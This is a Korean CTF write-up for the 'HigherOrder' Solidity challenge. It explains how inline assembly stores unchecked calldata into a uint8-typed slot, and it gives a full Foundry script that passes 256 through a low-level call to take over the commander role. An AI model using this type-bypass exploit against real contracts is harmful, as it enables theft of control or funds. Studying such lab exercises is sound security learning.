1. 문제

규칙은 깨지기 위해 존재하고, 영리하고 대담한 자만이 권력을 잡을 수 있는 세계를 상상해보라.
Higher Order라는 신비로운 집단에 오신 것을 환영한다. 이곳에는 보물이 숨겨져 있으며, 궁극적으로는 지배자가 모든 것을 통치한다.
당신의 목표는 Higher Order의 지배자가 되는 것이다. 행운을 빈다!
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;

contract HigherOrder {
    address public commander;

    uint256 public treasury;

    function registerTreasury(uint8) public {
        assembly {
            sstore(treasury_slot, calldataload(4))
        }
    }

    function claimLeadership() public {
        if (treasury > 255) commander = msg.sender;
        else revert("Only members of the Higher Order can become Commander");
    }
}

2. 코드 분석

function registerTreasury(uint8) public {
    assembly {
        sstore(treasury_slot, calldataload(4))
    }
}
  1. 저장소 슬롯 배치
  2. registerTreasury(uint8) 호출 시 동작
  3. 결론

결과적으로 treasury 값을 255보다 큰 값으로 만들면 문제가 풀리게 된다.

function claimLeadership() public {
    if (treasury > 255) commander = msg.sender;
    else revert("Only members of the Higher Order can become Commander");
}

다만 그냥 255보다 큰 값을 넘기게되면 uint8 타입 매칭에서 오류가 뜨므로 low level로 호출해야줘야한다.

3. HigherOrder.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.6.12;

import {Script, console} from "forge-std/Script.sol";
import {HigherOrder} from "../src/HigherOrder.sol";

contract HigherOrderScript is Script {
    address public target;

    function setUp() public {
        target = 0xe4d9CCfb0c6F1A19A5EE8d525847b9b8858B9872;
    }

    function run() public {
        vm.startBroadcast();

        bytes4 selector = bytes4(keccak256("registerTreasury(uint8)"));
        bytes memory data = abi.encodeWithSelector(selector, uint256(256));

        (bool success, ) = target.call(data);
        require(success, "registerTreasury call failed");

        (bool success2, ) = target.call(
            abi.encodeWithSignature("claimLeadership()")
        );
        require(success2, "claimLeadership failed");

        vm.stopBroadcast();
    }
}

  1. registerTreasury(uint8) 함수 셀렉터 추출
  2. selector와 함께 256(255보다 큰 값)을 인자로 전달